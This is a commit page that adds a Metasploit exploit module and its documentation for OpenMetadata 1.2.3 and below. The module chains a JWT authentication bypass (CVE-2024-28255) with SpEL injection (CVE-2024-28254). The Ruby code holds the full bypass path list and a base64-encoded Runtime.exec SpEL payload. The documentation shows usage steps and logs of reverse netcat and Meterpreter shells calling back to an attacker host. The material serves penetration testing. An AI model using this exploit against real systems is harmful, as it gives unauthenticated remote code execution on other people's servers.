Skip to content

Commit dbc51d1

Browse files
Land rapid7#19347, OpenMetadata authentication bypass and SpEL injection exploit chain[CVE-2024-28255 and CVE-2024-28254]
2 parents 4e2dda3 + 8b3392a commit dbc51d1

File tree

2 files changed

+300
-0
lines changed

2 files changed

+300
-0
lines changed
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
## Vulnerable Application
2+
3+
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository,
4+
in-depth lineage, and seamless team collaboration.
5+
This module chains two vulnerabilities that exist in the OpenMetadata application.
6+
The first vulnerability, [CVE-2024-28255](https://nvd.nist.gov/vuln/detail/CVE-2024-28255), bypasses the API authentication
7+
using JWT tokens. It misuses the `JwtFilter` that checks the path of url endpoint against a list of excluded endpoints
8+
that does not require authentication.
9+
Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings that will match the
10+
excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the
11+
authentication mechanism and reach any arbitrary endpoint.
12+
By chaining this vulnerability with [CVE-2024-28254](https://nvd.nist.gov/vuln/detail/CVE-2024-28254), that allows for
13+
arbitrary SpEL injection at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`,attackers are able
14+
to run arbitrary commands using Java classes such as `java.lang.Runtime` without any authentication.
15+
16+
OpenMetadata versions `1.2.3` and below are vulnerable.
17+
18+
The following releases were tested.
19+
* OpenMetadata 1.2.3 on Docker
20+
21+
## Installation steps to install the OpenMedata running on Docker
22+
* Please follow these [installation instructions](https://docs.open-metadata.org/v1.3.x/quick-start/local-docker-deployment).
23+
* Please ensure that you download version 1.2.3 or below.
24+
* After successful installation your should be able to access OpenMetadata on port 8585 at `http://your_openmetadata_ip:8585`.
25+
26+
You are now ready to test the module.
27+
28+
## Verification Steps
29+
- [ ] Start `msfconsole`
30+
- [ ] `use exploit/linux/http/openmetadata_auth_bypass_rce`
31+
- [ ] `set rhosts <ip-target>`
32+
- [ ] `set rport <port>`
33+
- [ ] `set lhost <attacker-ip>`
34+
- [ ] `set target <0=Unix Command, 1=Linux Dropper>`
35+
- [ ] `exploit`
36+
- [ ] you should get a `reverse netcat shell` or `Meterpreter` session depending on the `payload` and `target` settings
37+
38+
## Options
39+
No specific options
40+
41+
## Scenarios
42+
```msf
43+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > info
44+
45+
Name: OpenMetadata authentication bypass and SpEL injection exploit chain
46+
Module: exploit/linux/http/openmetadata_auth_bypass_rce
47+
Platform: Unix, Linux
48+
Arch: cmd
49+
Privileged: No
50+
License: Metasploit Framework License (BSD)
51+
Rank: Excellent
52+
Disclosed: 2024-03-15
53+
54+
Provided by:
55+
h00die-gr3y <[email protected]>
56+
Alvaro Muñoz alias pwntester (https://github.com/pwntester)
57+
58+
Module side effects:
59+
ioc-in-logs
60+
artifacts-on-disk
61+
62+
Module stability:
63+
crash-safe
64+
65+
Module reliability:
66+
repeatable-session
67+
68+
Available targets:
69+
Id Name
70+
-- ----
71+
=> 0 Automatic
72+
73+
Check supported:
74+
Yes
75+
76+
Basic options:
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
80+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
81+
html
82+
RPORT 8585 yes The target port (TCP)
83+
SSL false no Negotiate SSL/TLS for outgoing connections
84+
TARGETURI / yes The URI path of the OpenMetadata web application
85+
VHOST no HTTP server virtual host
86+
87+
Payload information:
88+
89+
Description:
90+
OpenMetadata is a unified platform for discovery, observability, and governance powered
91+
by a central metadata repository, in-depth lineage, and seamless team collaboration.
92+
This module chains two vulnerabilities that exist in the OpenMetadata aplication.
93+
The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
94+
It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
95+
endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
96+
to make any path contain any arbitrary strings that will match the excluded endpoint condition
97+
and therefore will be processed with no JWT validation allowing an attacker to bypass the
98+
authentication mechanism and reach any arbitrary endpoint.
99+
By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection
100+
at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers
101+
are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any
102+
authentication.
103+
OpenMetadata versions `1.2.3` and below are vulnerable.
104+
105+
References:
106+
https://nvd.nist.gov/vuln/detail/CVE-2024-28255
107+
https://nvd.nist.gov/vuln/detail/CVE-2024-28254
108+
A https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
109+
https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255
110+
https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/
111+
112+
113+
View the full module info with the info -d command.
114+
```
115+
### OpenMetadata 1.2.3 Automatic - cmd/unix/reverse_netcat_gaping
116+
```msf
117+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/unix/reverse_netcat_gaping
118+
payload => cmd/unix/reverse_netcat_gaping
119+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set rhosts 192.168.201.42
120+
rhosts => 192.168.201.42
121+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set lhost 192.168.201.8
122+
lhost => 192.168.201.8
123+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit
124+
125+
[*] Started reverse TCP handler on 192.168.201.8:4444
126+
[*] Running automatic check ("set AutoCheck false" to disable)
127+
[*] Trying to detect if target is running a vulnerable version of OpenMetadata.
128+
[+] The target is vulnerable. Version 1.2.3
129+
[*] Executing Unix Command for cmd/unix/reverse_netcat_gaping
130+
[*] Command shell session 17 opened (192.168.201.8:4444 -> 192.168.201.42:55160) at 2024-07-29 15:27:38 +0000
131+
132+
id
133+
uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata)
134+
pwd
135+
/opt/openmetadata
136+
uname -a
137+
Linux 1e3c578a0acc 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
138+
```
139+
### OpenMetadata 1.2.3 Automatic - cmd/linux/http/x64/meterpreter/reverse_tcp
140+
```msf
141+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
142+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
143+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit
144+
145+
[*] Started reverse TCP handler on 192.168.201.8:4444
146+
[*] Running automatic check ("set AutoCheck false" to disable)
147+
[*] Trying to detect if target is running a vulnerable version of OpenMetadata.
148+
[+] The target is vulnerable. Version 1.2.3
149+
[*] Executing Automatic for cmd/linux/http/x64/meterpreter/reverse_tcp
150+
[*] Sending stage (3045380 bytes) to 192.168.201.42
151+
[*] Meterpreter session 11 opened (192.168.201.8:4444 -> 192.168.201.42:50599) at 2024-07-31 14:31:37 +0000
152+
153+
meterpreter > getuid
154+
Server username: openmetadata
155+
meterpreter > sysinfo
156+
Computer : 172.16.240.4
157+
OS : (Linux 6.6.32-linuxkit)
158+
Architecture : x64
159+
BuildTuple : x86_64-linux-musl
160+
Meterpreter : x64/linux
161+
meterpreter > pwd
162+
/opt/openmetadata
163+
meterpreter >
164+
```
165+
## Limitations
166+
No limitations.
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
prepend Msf::Exploit::Remote::AutoCheck
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'OpenMetadata authentication bypass and SpEL injection exploit chain',
16+
'Description' => %q{
17+
OpenMetadata is a unified platform for discovery, observability, and governance powered
18+
by a central metadata repository, in-depth lineage, and seamless team collaboration.
19+
This module chains two vulnerabilities that exist in the OpenMetadata aplication.
20+
The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
21+
It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
22+
endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
23+
to make any path contain any arbitrary strings that will match the excluded endpoint condition
24+
and therefore will be processed with no JWT validation allowing an attacker to bypass the
25+
authentication mechanism and reach any arbitrary endpoint.
26+
By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection
27+
at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers
28+
are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any
29+
authentication.
30+
OpenMetadata versions `1.2.3` and below are vulnerable.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' => [
34+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor
35+
'Alvaro Muñoz alias pwntester (https://github.com/pwntester)' # Original discovery
36+
],
37+
'References' => [
38+
['CVE', '2024-28255'],
39+
['CVE', '2024-28254'],
40+
['URL', 'https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/'],
41+
['URL', 'https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255'],
42+
['URL', 'https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/']
43+
],
44+
'DisclosureDate' => '2024-03-15',
45+
'Platform' => ['unix', 'linux'],
46+
'Arch' => [ARCH_CMD],
47+
'Privileged' => false,
48+
'Targets' => [
49+
[
50+
'Automatic',
51+
{
52+
'Platform' => ['unix', 'linux'],
53+
'Arch' => ARCH_CMD
54+
}
55+
]
56+
],
57+
'DefaultTarget' => 0,
58+
'DefaultOptions' => {
59+
'rport' => 8585,
60+
'FETCH_COMMAND' => 'WGET'
61+
},
62+
'Notes' => {
63+
'Stability' => [CRASH_SAFE],
64+
'Reliability' => [REPEATABLE_SESSION],
65+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
66+
}
67+
)
68+
)
69+
register_options(
70+
[
71+
OptString.new('TARGETURI', [true, 'The URI path of the OpenMetadata web application', '/'])
72+
]
73+
)
74+
end
75+
76+
def execute_command(cmd, _opts = {})
77+
# list of paths that require no authentication
78+
unauthed_paths = [
79+
'/api/v1;v1%2Fv1%2Fusers%2Flogin',
80+
'/api/v1;v1%2Fv1%2Fusers%2Fsignup',
81+
'/api/v1;v1%2Fv1%2Fusers%2FregistrationConfirmation',
82+
'/api/v1;v1%2Fv1%2Fusers%2FresendRegistrationToken',
83+
'/api/v1;v1%2Fv1%2Fusers%2FgeneratePasswordResetLink',
84+
'/api/v1;v1%2Fv1%2Fusers%2Fpassword%2Freset',
85+
'/api/v1;v1%2Fv1%2Fusers%2FcheckEmailInUse',
86+
'/api/v1;v1%2Fv1%2Fusers%2Frefresh',
87+
'/api/v1;v1%2Fv1%2Fsystem%2Fconfig',
88+
'/api/v1;v1%2Fv1%2Fsystem%2Fversion'
89+
]
90+
# $@|sh – Getting a shell environment from Runtime.exec
91+
cmd = "sh -c $@|sh . echo #{cmd}"
92+
cmd_b64 = Base64.strict_encode64(cmd)
93+
spel_payload = "T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\"#{cmd_b64}\")))"
94+
unauthed_paths.shuffle!.each do |path|
95+
res = send_request_cgi({
96+
'uri' => normalize_uri(target_uri.path, path, 'events', 'subscriptions', 'validation', 'condition', spel_payload),
97+
'method' => 'GET'
98+
})
99+
break if res.code == 400 && res.body.include?('EL1001E')
100+
end
101+
end
102+
103+
def check
104+
print_status('Trying to detect if target is running a vulnerable version of OpenMetadata.')
105+
res = send_request_cgi({
106+
'uri' => normalize_uri(target_uri.path),
107+
'method' => 'GET'
108+
})
109+
return CheckCode::Unknown('Could not detect OpenMetadata.') unless res && res.code == 200 && res.body.include?('OpenMetadata')
110+
111+
# try to dectect version
112+
res = send_request_cgi({
113+
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'version'),
114+
'method' => 'GET'
115+
})
116+
return CheckCode::Detected('Could not retrieve the version information.') unless res && res.code == 200
117+
118+
# parse json response and get the version
119+
res_json = res.get_json_document
120+
unless res_json.blank?
121+
version = res_json['version']
122+
version_number = Rex::Version.new(version.gsub(/[[:space:]]/, '')) unless version.nil?
123+
end
124+
return CheckCode::Detected('Could not retrieve the version information.') if version_number.nil?
125+
return CheckCode::Appears("Version #{version_number}") if version_number <= Rex::Version.new('1.2.3')
126+
127+
CheckCode::Safe("Version #{version_number}")
128+
end
129+
130+
def exploit
131+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
132+
execute_command(payload.encoded)
133+
end
134+
end

0 commit comments

Comments
 (0)